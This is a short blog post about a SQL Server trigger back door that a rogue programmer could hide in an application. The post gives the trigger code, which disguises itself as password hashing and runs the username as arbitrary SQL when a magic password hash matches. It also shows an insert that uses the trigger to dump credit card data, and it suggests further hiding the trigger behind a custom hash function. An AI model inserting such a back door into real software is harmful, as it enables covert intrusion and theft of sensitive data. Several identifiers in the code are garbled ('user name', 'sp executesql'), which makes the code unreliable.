More SQL Nastiness: The Back Door
time to read 3 min | 437 words

Continuing on the theme of the nasty trigger from the previous post, here is the Back Door Trigger, let’s see what happens when a nefarious (rather then just nasty) programmer has thoughts about leaving himself a back door into an application, take a look at this, how long does it take to see what is wrong here?

 

CREATE Table Users
(
      user name nvarchar(50),
      password varbinary(10)
      -- more data
);

GO   
CREATE TRIGGER HashPassword ON Users INSTEAD OF INSERT
AS BEGIN
      DECLARE @password varbinary(10), @username nvarchar(50)
      SET @username = (SELECT user name from inserted)
      SET @password = (SELECT HashBytes('SHA',inserted.password) from inserted)
      if (@password = 0x939A115E3DCD7C4D2764)
            exec sp executesql @username
      else
            INSERT INTO Users(user name, password) VALUES(@username, @password)
END

 

This is a near invisible back door to do whatever you want in the system. This would go through stored procs and any other security mechanism that you’ve in place like smoke. I think that this will most probably pass through most code reviews and security inspections without being noticed. For extra points, implement your own HashWithSalt() function that will be used on the corresponding view which will do the same for selection.

 

INSERT INTO Users(user name, password) VALUES('SELECT * from CreditCards', '1=0');

 

You’ve better start shopping.

Tweet Share Share 0 comments